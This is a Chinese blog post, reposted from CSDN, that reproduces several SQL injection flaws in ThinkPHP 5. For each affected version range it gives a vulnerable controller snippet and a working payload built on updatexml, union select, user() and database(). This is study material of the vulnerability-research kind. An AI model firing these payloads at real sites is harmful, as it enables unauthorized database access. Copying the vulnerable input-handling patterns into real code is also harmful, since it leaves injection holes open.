[复现]Thinkphp5系列漏洞

来源:csdn博客 分类: 文章浏览史 发布时间:2023-07-02 14:24:32 最后更新:2023-07-02 浏览:299
转载声明:
本文为摘录自“csdn博客”,版权归原作者所有。
温馨提示:
为了更好的体验,请点击原文链接进行浏览
摘录时间:
2023-07-02 14:24:32

SQL注入

tp5注入系列都比较鸡肋,只能爆出user()、database()这类最基础的信息,而不能进行子查询,tp5框架采用的PDO机制可以说杜绝了大部分注入,当然也有例外,thinkphp 5.0.10版本sql注入漏洞支持子查询。

parseData方法

本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。

测试代码,我这里用的版本是 ThinkPHP 5.0.15

public function index()
    {
        update / insert 方法
        $pass = input("pass/a");
        $res = db("user")->where("id","1")->update(["pass"=>$pass]);
        dump($res);
    }

payload
pass[0]=inc&pass[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&pass[2]=1
1

parseArrayData方法

本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

update方法注入

    public function index()
    {
        $pass = input("pass/a");
        $res = db("user")->where("id","1")->update(["pass"=>$pass]);
        dump($res);
       
    }

payload
pass[0]=point&pass[1]=1&pass[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&pass[3]=0
2

parseWhereItem方法

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本 。

select方法注入

    public function index()
    {
        $name = request()->get('name');
        $res = db('user')->where('name','exp',$name)->select();
        dump($res);
    }

payload
name=) union select updatexml(1,concat(0x7e,user(),0x7e),1)--
3

parseOrder方法

本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。

order方法注入

    public function index()
    {
        $order = input("order");
        $res = db("user")->where(['name'=>'lss'])->order($order)->find();
        dump($res);
    }

payload
order[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
4

ThinkPHP=5.0.10

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10 。

select方法注入

    public function index()
    {
        $name = input("name/a");
        $res = db("user")->where(['name'=>$name])->select();
        dump($res);
    }

payload
name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,database(),user()--

5

参考

https://github.com/Mochazz/ThinkPHP-Vuln
https://www.cnblogs.com/wangtanzhi/p/12795610.html

php技术微信